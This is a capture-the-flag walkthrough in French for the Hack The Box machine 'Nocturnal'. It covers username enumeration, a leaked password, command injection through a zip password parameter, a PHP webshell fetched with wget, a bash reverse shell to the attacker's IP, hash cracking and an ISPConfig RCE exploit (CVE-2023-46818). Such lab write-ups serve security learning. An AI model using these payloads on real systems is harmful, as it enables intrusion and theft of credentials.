Nocturnal HackTheBox (WriteUp)

Hack The Boxapp.hackthebox.com

Skiils:

• Reconnaissance & Network Scanning.

• Web Application Testing

• File Upload Exploitation

• Command Injection & Shell Access

• Privilege Escalation

• Tunneling & Port Forwarding

• Credential Cracking

Reconnaissance

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap :

Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap:

nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.64 -oG allPorts

Scan de la version des ports avec Nmap: (22,80)

Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV -p22,80 10.10.11.64 -oN targeted

Pour résoudre les noms de domaine en adresses IP via DNS, on insère dans le fichier /etc/hosts le nom de domaine associé à son adresse IP:

Port 80 - HTTP

Enumération des répertoires

Recherche de fichiers et répertoires accessibles :

gobuster dir -u http://nocturnal.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

Création d'un utilisateur

Le formulaire d’inscription retourne une erreur si le mot de passe est faible.

Il faut obligatoirement un mot de passe complexe.

Upload File

il nous obligent obligatoirement un des extensions suivante: pdf,doc,docx, xls xlsx, odt

Les fichiers uploadés sont accessibles via :

http://nocturnal.htb/view.php?username=<nom_utilisateur>&file=<nom_fichier>

On découvre les utilisateurs amanda et ada.

ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=testing.pdf' -w /usr/share/SecLists/Usernames/Names/names.txt -H "Cookie: PHPSESSID=2iotgctse9tihd5fle3vapvsiv" -fw 1170,1174

Fichier ODT trouvé

Pour amanda, on trouve un fichier privacy.odt contenant :

Chère Amanda, Nocturnal a défini le mot de passe temporaire suivant pour vous : arHkG7HAI68X8s1J. Ce mot de passe a été défini pour tous nos services. Veuillez le changer rapidement.

Authentification & Exécution de commandes

Connexion à l’espace personnel d’Amanda

Une fois connectés, on découvre une page admin.php où le paramètre password est utilisé dans une commande système zip.

Injection de commande via le paramètre password

On intercepte la requête avec Caido et testons une injection via bash :

password=%0Abash%09-c%09"id"%0A&backup=

Cela valide l’exécution de commandes (Command Injection).

Webshell et Shell Reverse

Upload du Webshell

<?php
    if(isset($_REQUEST['cmd'])){
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
    }
?>

Upload via injection :

password=%0Abash%09-c%09"wget%0910.10.14.46/shell.php"%0A&backup=

Reverse shell

En écoute sur notre machine:

nc -nlvp 4444

Exécution sur la cible :

bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"

Amélioration du terminal

script /dev/null -c bash
#contrôle Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

Élévation de privilèges

Accès à la base de données

On découvre la base de données nocturnal_database contenant des milliers d'utilisateurs.

Extraction du hash de Tobias

select username, password from users where username='tobias';

Hash récupéré :

• 55c82b1ccd55ab219b3b109b07d5061d

Déchiffré avec CrackStation → slowmotionapocalypse

Flag user.txt :)

Accès à l'interface ISPConfig (port 8080)

Découverte du port interne

netstat -tuln

Redirection du port local :

sudo ssh -L 8080:127.0.0.1:8080 [email protected] 

Interface ISPConfig disponible sur http://localhost:8080

Connexion avec :

• admin

• slowmotionapocalypse

Version : 3.2

Exploitation RCE (CVE-2023-46818)

python3 CVE-2023-46818.py http://localhost admin slowmotionapocalypse

GitHub - ajdumanhug/CVE-2023-46818: CVE-2023-46818 Python3 Exploit for ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection VulnerabilityGitHub

Flag root.txt :)